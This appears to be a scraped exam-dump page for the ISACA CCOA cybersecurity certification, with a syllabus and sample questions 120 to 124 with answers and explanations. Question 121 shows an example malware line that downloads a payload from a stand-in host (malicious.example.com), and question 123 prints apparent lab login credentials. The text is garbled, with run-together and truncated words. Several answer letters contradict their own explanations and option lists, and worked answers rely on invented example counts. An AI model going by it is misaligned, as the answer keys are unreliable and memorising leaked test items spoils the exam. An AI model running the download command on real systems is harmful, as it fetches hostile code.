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[General] Free PDF Quiz ISACA - CCOA - ISACA Certified Cybersecurity Operations Analyst Fa

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【General】 Free PDF Quiz ISACA - CCOA - ISACA Certified Cybersecurity Operations Analyst Fa

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ISACA CCOA Exam Syllabus Topics:
TopicDetails
Topic 1
  • Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
Topic 2
  • Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.
Topic 3
  • Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
Topic 4
  • Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.
Topic 5
  • Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.

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ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q120-Q125):NEW QUESTION # 120
Which of the following is MOST helpful to significantly reduce application risk throughout the system development life cycle (SOLC)?
  • A. Peer code reviews
  • B. Extensive penetration testing
  • C. Security by design approach
  • D. Security through obscurity approach
Answer: C
Explanation:
ImplementingSecurity by Designthroughout theSoftware Development Life Cycle (SDLC)is the most effective way toreduce application riskbecause:
* Proactive Risk Mitigation:Incorporates security practices from the very beginning, rather than addressing issues post-deployment.
* Integrated Testing:Security requirements and testing are embedded in each phase of the SDLC.
* Secure Coding Practices:Reduces vulnerabilities likeinjection, XSS, and insecure deserialization.
* Cost Efficiency:Fixing issues during design is significantly cheaper than patching after production.
Other options analysis:
* B. Security through obscurity:Ineffective as a standalone approach.
* C. Peer code reviews:Valuable but limited if security is not considered from the start.
* D. Extensive penetration testingetects vulnerabilities post-development, but cannot fix flawed architecture.
CCOA Official Review Manual, 1st Edition References:
* Chapter 10: Secure Software Development Practicesiscusses the importance of integrating security from the design phase.
* Chapter 7: Application Security Testing:Highlights proactive security in development.

NEW QUESTION # 121
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
Answer:
Explanation:
See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
* Log into the Analyst Desktopusing your credentials.
* Locate theMalware Samplesfolder on the desktop.
* Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
* Open the file using a text editor:
* OnWindows:Right-click > Open with > Notepad.
* OnLinux:
cat ~/Desktop/Malware Samples/malscript.viruz.txt
* Carefully read through the file content to identify:
* Anystrings or commentsembedded within the script.
* Specifickeywords,URLs, orfile hashes.
* Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
* Focus on:
* Unique Identifiers:Threat group names, malware family names, or specific markers.
* Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
* Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest
-Uri "http://malicious.example.com/payload" -OutFile "C:UsersPublicmalware.exe" Step 4: Correlate with Threat Intelligence
* Use the following resources to correlate any discovered indicators:
* MITRE ATT&CK:To map the technique or tool.
* VirusTotal:To check file hashes or URLs.
* Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
* If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=")) Step 5: Identify the Threat Actor Group
* If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
* Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
* TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
* APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
* Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Final Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
* Include the following details:
* Filename:malscript.viruz.txt
* Associated Threat Group:TA505
* Key Indicatorsomain names, script functions, or specific malware traits.
* Generate an incident report summarizing your analysis.
Step 8: Next Steps
* Quarantine and Isolate:If the script was executed, isolate the affected system.
* Forensic Analysiseep dive into system logs for any signs of execution.
* Threat Hunting:Search for similar scripts or IOCs in the network.

NEW QUESTION # 122
Which of the following is the MOST effective method for identifying vulnerabilities in a remote web application?
  • A. Penetration testing
  • B. Static application security testing (SAST)
  • C. Dynamic application security testing (DA5T)
  • D. Source code review
Answer: A
Explanation:
The most effective method for identifying vulnerabilities in aremote web applicationispenetration testing.
* Realistic Simulationenetration testing simulates real-world attack scenarios to find vulnerabilities.
* Dynamic Testing:Actively exploits potential weaknesses rather than just identifying them statically.
* Comprehensive Coverage:Tests the application from an external attacker's perspective, including authentication bypass, input validation flaws, and configuration issues.
* Manual Validation:Can verify exploitability, unlike automated tools.
Incorrect Options:
* A. Source code review:Effective but only finds issues in the code, not in the live environment.
* B. Dynamic application security testing (DAST):Useful but more automated and less thorough than penetration testing.
* D. Static application security testing (SAST):Focuses on source code analysis, not the deployed application.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Application Security Testing Methods" - Penetration testing is crucial for identifying vulnerabilities in remote applications through real-world attack simulation.

NEW QUESTION # 123
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many unique IPs have received well knownunencrypted web connections from the beginning of2022 to the end of 2023 (Absolute)?
Answer:
Explanation:
See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
* Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:
From: January 1, 2022
To: December 31, 2023
* Unencrypted Web Traffic:
* Typically usesHTTP(port80) instead ofHTTPS(port443).
Step 2: Prepare the Environment
2.1: Access the SIEM System
* Login Details:
* URL:https://10.10.55.2
* Username:ccoatest@isaca.org
* Password:Security-Analyst!
* Access via web browser:
firefox https://10.10.55.2
* Alternatively, SSH into the SIEM if command-line access is preferred:
ssh administrator@10.10.55.2
* Password: Security-Analyst!
Step 3: Locate Web Traffic Logs
3.1: Identify Log Directory
* Common log locations:
swift
/var/log/
/var/log/nginx/
/var/log/httpd/
/home/administrator/hids/logs/
* Navigate to the log directory:
cd /var/log/
ls -l
* Look specifically forweb server logs:
ls -l | grep -E "http|nginx|access"
Step 4: Extract Relevant Log Entries
4.1: Filter Logs for the Given Time Range
* Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:
grep -E "2022-|2023-" /var/log/nginx/access.log
* If logs are rotated, use:
zgrep -E "2022-|2023-" /var/log/nginx/access.log.*
* Explanation:
* grep -E: Uses extended regex to match both years.
* zgrep: Handles compressed log files.
4.2: Filter for Unencrypted (HTTP) Connections
* Since HTTP typically usesport 80, filter those:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"
* Alternative:If the logs directly contain theprotocol, search forHTTP:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"
* To save results:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt Step 5: Extract Unique IP Addresses
5.1: Use AWK to Extract IPs
* Extract IP addresses from the filtered results:
awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt
* Explanation:
* awk '{print $1}': Assumes the IP is thefirst fieldin the log.
* sort | uniq: Filters out duplicate IP addresses.
5.2: Count the Unique IPs
* To get the number of unique IPs:
wc -l ~/Desktop/unique_ips.txt
* Example Output:
345
* This indicates there are345 unique IP addressesthat have receivedunencrypted web connections during the specified period.
Step 6: Cross-Verification and Reporting
6.1: Verification
* Double-check the output:
cat ~/Desktop/unique_ips.txt
* Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).
* Filter out internal IPs if needed:
grep -v -E "192.168.|10.|172.16." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt wc -l ~/Desktop/external_ips.txt
6.2: Final Count (if excluding internal IPs)
* Check the count again:
280
* This means280 unique external IPswere identified.
Step 7: Final Answer
* Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):
pg
345 (including internal IPs)
280 (external IPs only)
Step 8: Recommendations:
8.1: Improve Security Posture
* Enforce HTTPS:
* Redirect all HTTP traffic to HTTPS using web server configurations.
* Monitor and Analyze Traffic:
* Continuously monitor unencrypted connections usingSIEM rules.
* Block Unnecessary HTTP Traffic:
* If not required, block HTTP traffic at the firewall level.
* Upgrade to Secure Protocols:
* Ensure all web services support TLS.

NEW QUESTION # 124
A small organization has identified a potential risk associated with its outdated backup system and has decided to implement a new cloud-based real-time backup system to reduce the likelihood of data loss. Which of the following risk responses has the organization chosen?
  • A. Risk acceptance
  • B. Risk transfer
  • C. Risk avoidance
  • D. Risk mitigation
Answer: D
Explanation:
The organization is implementing anew cloud-based real-time backup systemto reduce the likelihood of data loss, which is an example ofrisk mitigationbecause:
* Reducing Risk Impact:By upgrading from an outdated system, the organization minimizes the potential consequences of data loss.
* Implementing Controls:The new backup system is aproactive control measuredesigned to decrease the risk.
* Enhancing Recovery Capabilities:Real-time backups ensure that data remains intact and recoverable even in case of a failure.
Other options analysis:
* B. Risk avoidance:Involves eliminating the risk entirely, not just reducing it.
* C. Risk transfer:Typically involves shifting the risk to a third party (like insurance), not implementing technical controls.
* D. Risk acceptance:Involves acknowledging the risk without implementing changes.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Risk Management:Clearly differentiates between mitigation, avoidance, transfer, and acceptance.
* Chapter 7: Backup and Recovery Planningiscusses modern data protection strategies and their risk implications.

NEW QUESTION # 125
......
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